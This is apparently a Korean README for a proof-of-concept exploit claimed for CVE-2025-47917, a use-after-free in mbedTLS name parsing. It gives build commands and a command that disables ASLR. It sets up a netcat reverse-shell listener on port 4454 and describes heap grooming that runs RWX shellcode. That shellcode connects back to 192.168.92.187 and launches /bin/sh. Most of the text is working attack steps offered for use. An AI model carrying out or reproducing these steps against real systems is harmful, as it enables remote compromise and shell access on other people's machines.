
CVE-2025-47917에 대한 PoC 익스플로잇: mbedTLS의 Use-After-Free로 인한 원격 코드 실행.
이 저장소는 mbedTLS 라이브러리의 mbedtls_x509_string_to_names() 이름 구문 분석 함수에서 발생하는 Use-After-Free 취약점을 대상으로 한 익스플로잇을 포함합니다. 성공적인 익스플로잇은 해제된 힙 메타데이터를 가로채고 제어 흐름을 주입된 셸코드로 리디렉션하여 루트 권한으로 임의 코드 실행을 가능하게 합니다.
운영 체제: Linux (Kali Linux에서 테스트 완료)
root 권한: ASLR 비활성화 및 주입된 셸코드 실행에 필요
mbedTLS 개발 라이브러리 (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
빌드 도구: gcc, make (선택 사항)
설치 환경에 맞게 include/library 경로를 조정하세요:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
ASLR 비활성화 (주소 공간 배치 난수화):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
리버스 셸 수신기 준비 (공격자 머신, 포트 4454):
nc -lvnp 4454
root 권한으로 익스플로잇 실행:
sudo ./exploit_UAF
checkAslr()가 /proc/sys/kernel/randomize_va_space를 읽어 ASLR이 비활성화되었는지 확인합니다. 활성화된 경우 종료합니다.mbedtls_x509_string_to_names() 호출: 빈 이름-데이터 목록을 초기화합니다.paddingChunk()가 많은 가짜 이름-데이터 구조체를 할당하여 자유 목록 항목을 셸코드를 가리키는 제어된 내용으로 채웁니다.mbedtls_x509_string_to_names() 호출: Use-After-Free 조건을 트리거하여 가짜 메타데이터가 포함된 해제된 청크를 재사용합니다.mmap()을 통해 RWX로 매핑되고, 복사된 후 손상된 named_data->val.p 포인터를 통해 실행됩니다.192.168.92.1874454셸코드는 socket + connect + dup2 시퀀스를 수행한 후 execve("/bin/sh")를 실행합니다.
MIT